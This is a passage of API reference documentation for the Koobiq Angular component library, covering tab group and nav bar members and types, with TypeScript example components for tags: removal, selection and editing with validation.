- `[(selectedIndex)]`: `number | undefined` — The index of the active tab.
- `[headerPosition]`: `KbqTabHeaderPosition | undefined` — Position of the tab header.
- `[animationDuration]`: `string | undefined` — Duration for the tab animation. Must be a valid CSS value (e.g. 600ms).
- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `(focusChange)`: `KbqTabChangeEvent` — Event emitted when focus has changed within a tab group.
- `(animationDone)`: `void` — Event emitted when the body animation has completed
- `(selectedTabChange)`: `KbqTabChangeEvent` — Event emitted when the tab selection has changed.
- `tabs`: `QueryList<KbqTab>` — The tabs of the group.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this tab group — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `getTabLabelId()`: `string` — Returns a unique id for each tab label element
- `getTabContentId()`: `string` — Returns a unique id for each tab content element
- `setTabBodyWrapperHeight()`: `void` — Sets the height of the body wrapper to the height of the activating tab if dynamic
  height property is true.
- `removeTabBodyWrapperHeight()`: `void` — Removes the height of the tab body wrapper.
- `handleClick()`: `void` — Handle click events, setting new selected index if appropriate.
- `getTabIndex()`: `number` — Retrieves the tabindex for the tab. The single `0` follows the header's focus position rather
  than the selection, so that a disabled selected tab cannot take the whole strip out of the tab
  order — a disabled tab is `-1`, never absent, so it stays a roving-tabindex participant.
- `saveState()`: `void` — Persists which tab is selected.

  Called for every selection a user makes. Both the tab's `tabId` and its position are stored: the
  `tabId` is the only one that survives the tabs being reordered, and the position is all there is
  when the tabs carry none.
- `clearSavedState()`: `void` — Removes the state persisted for this tab group.

  Persistence itself stays on — the next selection is written again. Unset `useStateSaving` to stop
  it.

##### KbqTabNavBar (component)

Navigation component matching the styles of the tab group header.

```ts
@Component({
    selector: '[kbqTabNavBar], [kbq-tab-nav-bar]',
    exportAs: 'kbqTabNavBar'
})
class KbqTabNavBar extends KbqPaginatedTabHeader {
    readonly transparent = input<boolean>(false);
    readonly onSurface = input<boolean>(false);
    readonly underlined = input<boolean>(false);
    readonly tabNavPanel = input<KbqTabNavPanel>();
    selectedIndex = input<number | undefined>();
    disablePagination = input<boolean | undefined>();
    vertical = input<boolean | undefined>();
    get tabListContainer(): ElementRef;
    get tabList(): ElementRef;
    get nextPaginator(): ElementRef<HTMLElement>;
    get previousPaginator(): ElementRef<HTMLElement>;
    get items(): QueryList<KbqTabLink>;
    get role(): string | null;
    focusIndex: number;
    readonly selectFocusedIndex: EventEmitter<number>;
    readonly indexFocused: EventEmitter<number>;
    showPaginationControls: boolean;
    disableScrollAfter: boolean;
    disableScrollBefore: boolean;
    readonly elementRef: ElementRef<HTMLElement>;
    updateActiveLink(): void;
    handleKeydown(event: KeyboardEvent): void;
    onContentChanges(): void;
    updatePagination(): void;
    isValidIndex(index: number): boolean;
    setTabFocus(tabIndex: number): void;
    getLayoutDirection(): Direction;
    scrollHeader(direction: ScrollDirection): void;
    handlePaginatorClick(direction: ScrollDirection): void;
    checkPaginationEnabled(): void;
    stopInterval(): void;
    handlePaginatorPress(
        direction: ScrollDirection,
        mouseEvent?: MouseEvent
    ): void;
}
```

- `[transparent]`: `boolean` — Whether the nav bar background should be transparent.
- `[underlined]`: `boolean` — Whether the nav bar should be underlined.
- `[tabNavPanel]`: `KbqTabNavPanel` — Associated tab panel controlled by the nav bar.
- `[selectedIndex]`: `number | undefined` — The index of the active tab.
- `[disablePagination]`: `boolean | undefined` — Whether pagination should be disabled. This can be used to avoid unnecessary
  layout recalculations if it's known that pagination won't be required.

  A vertical header never paginates, so `vertical` forces this on without overwriting the value
  the consumer set — turning `vertical` back off restores it.
- `[vertical]`: `boolean | undefined` — Whether the tabs should be displayed vertically.
- `tabListContainer`: `ElementRef` — The scroll container of the tab links.
- `tabList`: `ElementRef` — The element that holds the tab links.
- `nextPaginator`: `ElementRef<HTMLElement>` — The pagination arrow towards the end of the tab list.
- `previousPaginator`: `ElementRef<HTMLElement>` — The pagination arrow towards the beginning of the tab list.
- `items`: `QueryList<KbqTabLink>` — The tab links of the nav bar.
- `focusIndex`: `number` — Tracks which element has focus; used for keyboard navigation
- `selectFocusedIndex`: `EventEmitter<number>` — Event emitted when the option is selected.
- `indexFocused`: `EventEmitter<number>` — Event emitted when a label is focused.
- `showPaginationControls`: `boolean` — Whether the controls for pagination should be displayed
- `disableScrollAfter`: `boolean` — Whether the tab list can be scrolled more towards the end of the tab label list.
- `disableScrollBefore`: `boolean` — Whether the tab list can be scrolled more towards the beginning of the tab label list.
- `updateActiveLink()`: `void` — Notifies the component that the active link has been changed.
- `onContentChanges()`: `void` — Callback for when the MutationObserver detects that the content has changed.
- `updatePagination()`: `void` — Updates the view whether pagination should be enabled or not.

  WARNING: Calling this method can be very costly in terms of performance. It should be called
  as infrequently as possible from outside of the Tabs component as it causes a reflow of the
  page.
- `isValidIndex()`: `boolean` — Determines if an index is valid.  If the tabs are not ready yet, we assume that the user is
  providing a valid index and return true.
- `setTabFocus()`: `void` — Sets focus on the HTML element for the label wrapper and scrolls it into the view if
  scrolling is enabled.
- `getLayoutDirection()`: `Direction` — The layout direction of the containing app.
- `scrollHeader()`: `void` — Moves the tab list in the 'before' or 'after' direction (towards the beginning of the list or
  the end of the list, respectively).

  This is an expensive call that forces a layout reflow to compute box and scroll metrics and
  should be called sparingly.
- `handlePaginatorClick()`: `void` — Handles click events on the pagination arrows.
- `checkPaginationEnabled()`: `void` — Evaluate whether the pagination controls should be displayed. If the scroll width of the
  tab list is wider than the size of the header container, then the pagination controls should
  be shown.

  This is an expensive call that forces a layout reflow to compute box and scroll metrics and
  should be called sparingly.
- `stopInterval()`: `void` — Stops the currently-running paginator interval.
- `handlePaginatorPress()`: `void` — Handles the user pressing down on one of the paginators.
  Starts scrolling the header after a certain amount of time.
  - `direction`: `ScrollDirection` — In which direction the paginator should be scrolled.

#### Directives

##### KbqAlignTabsCenterCssStyler (directive)

```ts
@Directive({
    selector: 'kbq-tab-group[kbq-align-tabs-center], [kbq-tab-nav-bar][kbq-align-tabs-center], [kbqTabNavBar][kbq-align-tabs-center]'
})
class KbqAlignTabsCenterCssStyler {}
```

##### KbqAlignTabsEndCssStyler (directive)

```ts
@Directive({
    selector: 'kbq-tab-group[kbq-align-tabs-end], [kbq-tab-nav-bar][kbq-align-tabs-end], [kbqTabNavBar][kbq-align-tabs-end]'
})
class KbqAlignTabsEndCssStyler {}
```

##### KbqStretchTabsCssStyler (directive)

```ts
@Directive({
    selector: 'kbq-tab-group[kbq-stretch-tabs], [kbq-tab-nav-bar][kbq-stretch-tabs], [kbqTabNavBar][kbq-stretch-tabs]'
})
class KbqStretchTabsCssStyler {}
```

##### KbqTabContent (directive)

Decorates the `ng-template` tags and reads out the template from it.

```ts
@Directive({ selector: '[kbqTabContent]' })
class KbqTabContent {
    template: TemplateRef<any>;
}
```

##### KbqTabLabel (directive)

Used to flag tab labels for use with the portal directive

```ts
@Directive({ selector: '[kbq-tab-label], [kbqTabLabel]' })
class KbqTabLabel extends CdkPortal {
    readonly iconOnly = input<boolean>(false);
    templateRef: TemplateRef<C>;
    viewContainerRef: ViewContainerRef;
    context?: C;
    injector?: Injector;
    get origin(): ElementRef<any>;
    get isAttached(): boolean;
    attach(host: PortalOutlet, context?: C): EmbeddedViewRef<C>;
    detach(): void;
    setAttachedHost(host: PortalOutlet | null): void;
}
```

- `[iconOnly]`: `boolean` — Whether the tab contains only an icon without a label.
- `templateRef`: `TemplateRef<C>` — The embedded template that will be used to instantiate an embedded View in the host.
- `viewContainerRef`: `ViewContainerRef` — Reference to the ViewContainer into which the template will be stamped out.
- `context?`: `C` — Contextual data to be passed in to the embedded view.
- `injector?`: `Injector` — The injector to use for the embedded view.
- `isAttached`: `boolean` — Whether this portal is attached to a host.
- `attach()`: `EmbeddedViewRef<C>` — Attach the portal to the provided `PortalOutlet`.
  When a context is provided it will override the `context` property of the `TemplatePortal`
  instance.
- `setAttachedHost()`: `void` — Sets the PortalOutlet reference without performing `attach()`. This is used directly by
  the PortalOutlet when it is performing an `attach()` or `detach()`.

##### KbqTabLink (directive)

Link inside of a KbqTabNavBar.

```ts
@Directive({ selector: '[kbqTabLink], [kbq-tab-link]', exportAs: 'kbqTabLink' })
class KbqTabLink {
    id = input<string | undefined>();
    active = input<boolean | undefined>();
    disabled = input<boolean | undefined>();
    get vertical(): boolean;
    get underlined(): boolean;
    readonly elementRef: ElementRef<HTMLElement>;
    focus(): void;
}
```

- `[id]`: `string | undefined` — Unique id for the link.
- `[active]`: `boolean | undefined` — Whether the link is active.
- `[disabled]`: `boolean | undefined` — Whether the tab link is disabled.
- `focus()`: `void` — Focuses the tab link.

  `preventScroll: true`: `FocusKeyManager.setActiveItem` calls this itself, right after (and
  unconditionally on) the `change` emission that runs `KbqPaginatedTabHeader.setTabFocus` — so
  without the guard here too, that call's own `preventScroll: true` is immediately undone by
  this one, and an overflowing nav bar double-jumps (native scroll-into-view, then the
  paginator-aware `scrollCorrection`) on every arrow-key press.

##### KbqTabNavPanel (directive)

Tab panel component associated with KbqTabNav.

```ts
@Directive({ selector: '[kbqTabNavPanel]', exportAs: 'kbqTabNavPanel' })
class KbqTabNavPanel {
    readonly id = input<string>(`kbq-tab-nav-panel-${nextUniqueId++}`);
    activeTabId?: string;
}
```

- `[id]`: `string` — Unique id for the tab panel.
- `activeTabId?`: `string` — Id of the active tab in the nav bar.

##### KbqVerticalTabsCssStyler (directive)

Deprecated: No-op. The vertical layout class is bound from `KbqTabGroup`/`KbqTabNavBar` themselves,
so it follows the `vertical` value instead of merely the presence of the attribute. Will be removed
in a future major version — stop importing it.

```ts
@Directive({
    selector: 'kbq-tab-group[vertical], [kbq-tab-nav-bar][vertical], [kbqTabNavBar][vertical]'
})
class KbqVerticalTabsCssStyler {}
```

#### Classes

##### KbqTabChangeEvent (class)

A simple change event emitted on focus or selection changes.

```ts
class KbqTabChangeEvent {
    index: number;
    tab: KbqTab;
}
```

- `index`: `number` — Index of the currently-selected tab.
- `tab`: `KbqTab` — Reference to the currently-selected tab.

#### Types

##### KbqPaginatedTabHeaderItem (type)

Item inside a paginated tab header.

```ts
type KbqPaginatedTabHeaderItem = FocusableOption & {
    elementRef: ElementRef;
};
```

##### KbqTabBodyPositionState (type)

These position states are used internally as the translation states of the tab body. Setting the
position state to left, right, or center will transition the tab body from its current
position to its respective state. If there is not current position (void, in the case of a new
tab body), then there will be no transition to its state.

In the case of a new tab body that should immediately be centered with an animating transition,
then left-origin-center or right-origin-center can be used, which will use left or right as its
pseudo-prior state.

```ts
type KbqTabBodyPositionState = 'left' | 'center' | 'right' | 'left-origin-center' | 'right-origin-center';
```

##### KbqTabHeaderPosition (type)

Possible positions for the tab header.

```ts
type KbqTabHeaderPosition = 'above' | 'below';
```

##### KbqTabsConfig (interface)

Object that can be used to configure the default options for the tabs module.

```ts
interface KbqTabsConfig {
    animationDuration?: string;
}
```

- `animationDuration?`: `string` — Duration for the tab animation. Must be a valid CSS value (e.g. 600ms).

##### KbqTabSelectBy (type)

```ts
type KbqTabSelectBy = string | number | ((tabs: KbqTab[]) => KbqTab | null);
```

##### KbqTabsState (interface)

The persisted state of a tab group — which tab was selected.

Both are stored: `tabId` is the only identifier that survives a reordering, and `index` is all there is
when the tabs carry no `tabId`.

```ts
interface KbqTabsState {
    tabId: string | null;
    index: number;
}
```

##### ScrollDirection (type)

The directions that scrolling can go in when the header's tabs exceed the header width. 'After'
will scroll the header towards the end of the tabs list and 'before' will scroll towards the
beginning of the list.

```ts
type ScrollDirection = 'after' | 'before';
```

#### Constants

##### KBQ_TAB_LABEL (const)

```ts
const KBQ_TAB_LABEL: InjectionToken<KbqTabLabel>;
```

##### KBQ_TABS_CONFIG (const)

Injection token that can be used to provide the default options the tabs module.

```ts
const KBQ_TABS_CONFIG: InjectionToken<KbqTabsConfig>;
```

### Examples

#### Select tab by ID

**Example: Tab list with selection by tab id** (`tabs-active-tab-id`)

```ts tabs-active-tab-id-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-active-tab-id-example',
    imports: [
        KbqTabsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tab-group [(activeTab)]="selectedTabId">
            @for (tab of tabs; track tab) {
                <kbq-tab [tabId]="tab.tabId">
                    <ng-template kbq-tab-label>
                        <i [kbq-icon]="tab.icon"></i>
                        {{ tab.tabId }}
                    </ng-template>
                    Content for selected tab with id: {{ selectedTabId }}
                </kbq-tab>
            }
        </kbq-tab-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsActiveTabIdExample {
    readonly tabs = [
        { tabId: 'files', icon: 'kbq-folder-open_16' },
        { tabId: 'settings', icon: 'kbq-gear_16' },
        { tabId: 'tasks', icon: 'kbq-bars-horizontal_16' }
    ];

    selectedTabId: string = 'settings';
}
```

#### Select tab by index

**Example: Tab list with selection by index** (`tabs-active-tab-index`)

```ts tabs-active-tab-index-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-active-tab-index-example',
    imports: [
        KbqTabsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tab-group [(activeTab)]="selectedTabIndex">
            @for (tab of tabs; track tab) {
                <kbq-tab [tabId]="tab.tabId">
                    <ng-template kbq-tab-label>
                        <i [kbq-icon]="tab.icon"></i>
                        {{ tab.tabId }}
                    </ng-template>
                    Content for selected tab with index: {{ selectedTabIndex }}
                </kbq-tab>
            }
        </kbq-tab-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsActiveTabIndexExample {
    readonly tabs = [
        { tabId: 'files', icon: 'kbq-folder-open_16' },
        { tabId: 'settings', icon: 'kbq-gear_16' },
        { tabId: 'tasks', icon: 'kbq-bars-horizontal_16' }
    ];

    selectedTabIndex: number = 1;
}
```

#### Using with other controls

Action buttons are conveniently placed in the same panel as underlined tabs.

**Example: Tabs actionbar** (`tabs-actionbar`)

```ts tabs-actionbar-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-actionbar-example',
    imports: [
        KbqTabsModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <div class="example-tabs-actionbar">
            <div class="example-tabs-actionbar_nav">
                <nav kbqTabNavBar underlined>
                    @for (dashboard of dashboards; track dashboard) {
                        <a kbqTabLink [active]="activeDashboard === dashboard" (click)="activeDashboard = dashboard">
                            {{ dashboard }}
                        </a>
                    }
                </nav>
            </div>

            <div class="example-tabs-actionbar_controls">
                <button class="kbq-button_transparent" color="contrast" kbq-button aria-label="List view">
                    <i kbq-icon="kbq-list_16"></i>
                </button>
                <button class="kbq-button_transparent" color="contrast" kbq-button aria-label="Filter">
                    <i kbq-icon="kbq-filter_16"></i>
                </button>
                <button color="contrast" kbq-button (click)="createDashboard()">
                    <i kbq-icon="kbq-plus_16"></i>
                    Create dashboard
                </button>
            </div>
        </div>
    `,
    styleUrls: ['tabs-actionbar-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsActionbarExample {
    readonly dashboards = new Array(2).fill(0).map((_, index) => `Dashboard ${index}`);
    activeDashboard = this.dashboards[0];

    createDashboard(): void {
        this.dashboards.push(`Dashboard ${this.dashboards.length + 1}`);
    }
}
```

```css tabs-actionbar-example.css
.example-tabs-actionbar {
    display: flex;
}

.example-tabs-actionbar .example-tabs-actionbar_nav {
    overflow: hidden;
}

.example-tabs-actionbar .example-tabs-actionbar_controls {
    display: flex;
    flex-grow: 1;
    align-items: center;
    justify-content: end;
    position: relative;
}

.example-tabs-actionbar .example-tabs-actionbar_controls::before {
    content: '';
    position: absolute;
    left: 0;
    bottom: 0;
    right: 0;
    height: 1px;
    background: var(--kbq-line-contrast-less);
}

.example-tabs-actionbar .example-tabs-actionbar_controls button + button {
    margin-left: var(--kbq-size-s);
}
```

## Tag

- Entry point: `@koobiq/components/tags`
- NgModule: `KbqTagsModule`
- Page: https://koobiq.io/en/components/tag/overview

### Overview

**Example: Tag** (`tag-overview`)

```ts tag-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-overview-example',
    imports: [
        KbqTagsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tag [color]="colors.ContrastFade">
            Tag
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class TagOverviewExample {
    colors = KbqComponentColors;
}
```

Tags are used within the [`Tag list`](https://koobiq.io/en/components/tag-list.md) component in input fields to represent selected values: [`Select Multiple`](https://koobiq.io/en/components/select.md#multiple-selection), [`Tag autocomplete`](https://koobiq.io/en/components/tag-autocomplete.md), [`Tag input`](https://koobiq.io/en/components/tag-input.md).

#### Color

**Example: Tag fill and style** (`tag-fill-and-style`)

```ts tag-fill-and-style-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-fill-and-style-example',
    imports: [
        KbqTagsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tag [color]="colors.ContrastFade">
            <i kbqTagPrefix kbq-icon="kbq-circle-check_16"></i>
            Contrast
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
        <kbq-tag [color]="colors.Theme">
            <i kbqTagPrefix kbq-icon="kbq-circle-check_16"></i>
            Theme
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
        <kbq-tag [color]="colors.Error">
            <i kbqTagPrefix kbq-icon="kbq-circle-check_16"></i>
            Error
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
        <kbq-tag [color]="colors.Warning">
            <i kbqTagPrefix kbq-icon="kbq-circle-check_16"></i>
            Warning
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-wrap layout-gap-l layout-margin-5xl layout-align-center-center'
    }
})
export class TagFillAndStyleExample {
    colors = KbqComponentColors;
}
```

#### Disabled State

**Example: Tag Disabled** (`tag-disabled`)

```ts tag-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-disabled-example',
    imports: [
        KbqTagsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tag [color]="colors.ContrastFade" [disabled]="true">
            Tag
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class TagDisabledExample {
    colors = KbqComponentColors;
}
```

#### Icon

Use `kbqTagPrefix` and `kbqTagSuffix` to explicitly place content before or after the tag text. `kbqTagRemove` and `kbqTagEditSubmit` are suffix controls already; do not combine them with `kbqTagSuffix`, because it is supplied through their host directives.

**Example: Tag with icon** (`tag-with-icon`)

```ts tag-with-icon-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-with-icon-example',
    imports: [
        KbqTagsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tag [color]="colors.ContrastFade">
            <i kbqTagPrefix kbq-icon="kbq-diamond-o_16"></i>
            Tag
            <i kbqTagSuffix kbq-icon="kbq-diamond_16"></i>
        </kbq-tag>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class TagWithIconExample {
    colors = KbqComponentColors;
}
```

#### Long Text

Tag text does not wrap to a new line; instead, it is truncated with an ellipsis.

**Example: Tag Long Text** (`tag-long-text`)

```ts tag-long-text-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-long-text-example',
    imports: [
        KbqTagsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tag [color]="colors.ContrastFade">
            Typically, tags are associated with the «Delete» button, allowing users to remove the selected value from
            the input field. However, there are instances when it is desirable to prevent the deletion of a tag, in
            which case the cross must be concealed.
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
        </kbq-tag>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-top-5xl layout-margin-bottom-5xl layout-margin-left-m layout-margin-right-m layout-align-center-center layout-row'
    }
})
export class TagLongTextExample {
    colors = KbqComponentColors;
}
```

#### Removal

Tags can be removed in several ways:

- Click on the remove icon (`kbqTagRemove` directive) inside the tag.
- Press `Delete` or `Backspace` key.
- Programmatic removal through the component [API](https://koobiq.io/api/tags.md).

The removal option is configured using the `removable` attribute (enabled by default). A tag that cannot be removed, because `removable` is off or the tag is disabled, does not show its remove icon.

**Example: Tag removable** (`tag-removable`)

```ts tag-removable-example.ts
import { ChangeDetectionStrategy, Component, computed, model, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'tag-removable-example',
    imports: [KbqTagsModule, KbqIconModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle [(ngModel)]="removable">Removable</kbq-toggle>

        @if (display()) {
            <kbq-tag [removable]="removable()" (removed)="removed($event)">
                {{ tag() }}
                <i kbqTagRemove kbq-icon-button="kbq-xmark-s_16"></i>
            </kbq-tag>
        } @else {
            <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="colors.ContrastFade" (click)="restart()"></i>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-7xl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagRemovableExample {
    protected readonly colors = KbqComponentColors;
    protected readonly removable = model(true);
    protected readonly tag = computed(() => (this.removable() ? 'Removable tag' : 'Not removable tag'));
    protected readonly display = signal(true);

    protected removed(event: KbqTagEvent): void {
        console.log('Tag was removed:', event);

        this.display.set(false);
    }

    protected restart(): void {
        this.display.set(true);
    }
}
```

#### Selection

Tags can be selected in several ways:

- Click on the tag or set focus on it.
- `Space` when the tag is focused.
- Programmatic selection through the component [API](https://koobiq.io/api/tags.md).

The selection option is configured using the `selectable` attribute (disabled by default).

**Example: Tag selectable** (`tag-selectable`)

```ts tag-selectable-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTagSelectionChange, KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-selectable-example',
    imports: [KbqTagsModule],
    template: `
        <kbq-tag selectable (selectionChange)="onSelectionChange($event)">Selectable tag</kbq-tag>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class TagSelectableExample {
    protected onSelectionChange(event: KbqTagSelectionChange): void {
        console.log('Selection changed:', event);
    }
}
```

#### Editing

To enable editing mode, set the `editable` property for `kbq-tag`.

Entering edit mode:

- On double-click on the tag.
- On pressing `Enter` or `F2` key (when the tag is focused).

Saving changes:

- On pressing `Enter` key.
- On clicking the confirmation button (`kbqTagEditSubmit` directive).

Canceling changes:

- On pressing `Escape` key.
- On losing focus.

**Example: Tag editable** (`tag-editable`)

```ts tag-editable-example.ts
import { ChangeDetectionStrategy, Component, model, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEditChange, KbqTagEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqTitleModule } from '@koobiq/components/title';

const TAG = 'Editable tag';

@Component({
    selector: 'tag-editable-example',
    imports: [KbqTagsModule, KbqIconModule, FormsModule, KbqInputModule, KbqTitleModule],
    template: `
        @if (!isTagRemoved()) {
            <kbq-tag editable kbq-title [value]="tag()" (editChange)="editChange($event)" (removed)="removed($event)">
                {{ tag() }}
                <input kbqInput kbqTagEditInput [(ngModel)]="tag" />
                @if (tag().length > 0) {
                    <i kbq-icon-button="kbq-check-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                } @else {
                    <i kbq-icon-button="kbq-xmark-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                }
                <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
            </kbq-tag>
        } @else {
            <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="color.ContrastFade" (click)="restart()"></i>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagEditableExample {
    protected readonly tag = model(TAG);
    protected readonly isTagRemoved = signal(false);
    protected readonly color = KbqComponentColors;

    protected editChange({ type, reason, tag }: KbqTagEditChange): void {
        switch (type) {
            case 'start': {
                console.info(`Tag edit was started. Reason: "${reason}".`);
                break;
            }
            case 'cancel': {
                console.info(`Tag edit was canceled. Reason: "${reason}".`);
                break;
            }
            case 'submit': {
                console.info(`Tag edit was submitted. Reason: "${reason}".`);

                if (!tag.value) tag.remove();

                break;
            }
            default:
        }
    }

    protected removed(event: KbqTagEvent): void {
        console.info('Tag was removed: ', event);

        this.isTagRemoved.set(true);
    }

    protected restart(): void {
        this.tag.set(TAG);
        this.isTagRemoved.set(false);
    }
}
```

##### Validation During Editing

Do not use tag editing when complex validation is expected. Editing is configured so that it's impossible to save a tag with an invalid value. To prevent saving, use the `preventEditSubmit` attribute.

**Example: Tag editable with validation** (`tag-editable-with-validation`)

```ts tag-editable-with-validation-example.ts
import { ChangeDetectionStrategy, Component, computed, model, signal, viewChild } from '@angular/core';
import { takeUntilDestroyed, toObservable } from '@angular/core/rxjs-interop';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagEditChange, KbqTagEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqTitleModule } from '@koobiq/components/title';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';
import { debounceTime, distinctUntilChanged } from 'rxjs';

const TAG = 'Editable tag with validation';

@Component({
    selector: 'tag-editable-with-validation-example',
    imports: [KbqTagsModule, KbqIconModule, FormsModule, KbqToolTipModule, KbqTitleModule],
    template: `
        @if (tagValue().length > 0) {
            <kbq-tag
                editable
                kbq-title
                [preventEditSubmit]="!isModelValid()"
                [color]="tagColor()"
                (editChange)="editChange($event)"
                (removed)="removed($event)"
            >
                {{ tagValue() }}
                <input
                    kbqTooltip="Maximum {{ initialMaxLength }} characters (actual: {{ trimmedTagModel().length }})"
                    kbqTagEditInput
                    kbqTrigger="none"
                    [kbqTooltipColor]="color.Error"
                    [(ngModel)]="tagModel"
                />
                @if (trimmedTagModel().length === 0) {
                    <i kbq-icon-button="kbq-xmark-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                } @else {
                    <i
                        kbq-icon-button="kbq-check-s_16"
                        kbqTagEditSubmit
                        [color]="color.Theme"
                        [disabled]="!isModelValid()"
                    ></i>
                }
                <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
            </kbq-tag>
        } @else {
            <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="color.ContrastFade" (click)="restart()"></i>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagEditableWithValidationExample {
    private readonly tooltip = viewChild.required(KbqTooltipTrigger);
    protected readonly popUpPlacements = PopUpPlacements;
    protected readonly color = KbqComponentColors;
    protected readonly tagValue = signal(TAG);
    protected readonly initialMaxLength = this.tagValue().length;
    protected readonly tagModel = model(this.tagValue());
    protected readonly trimmedTagModel = computed(() => this.tagModel().trim());
    protected readonly isModelValid = computed(() => this.trimmedTagModel().length <= this.initialMaxLength);
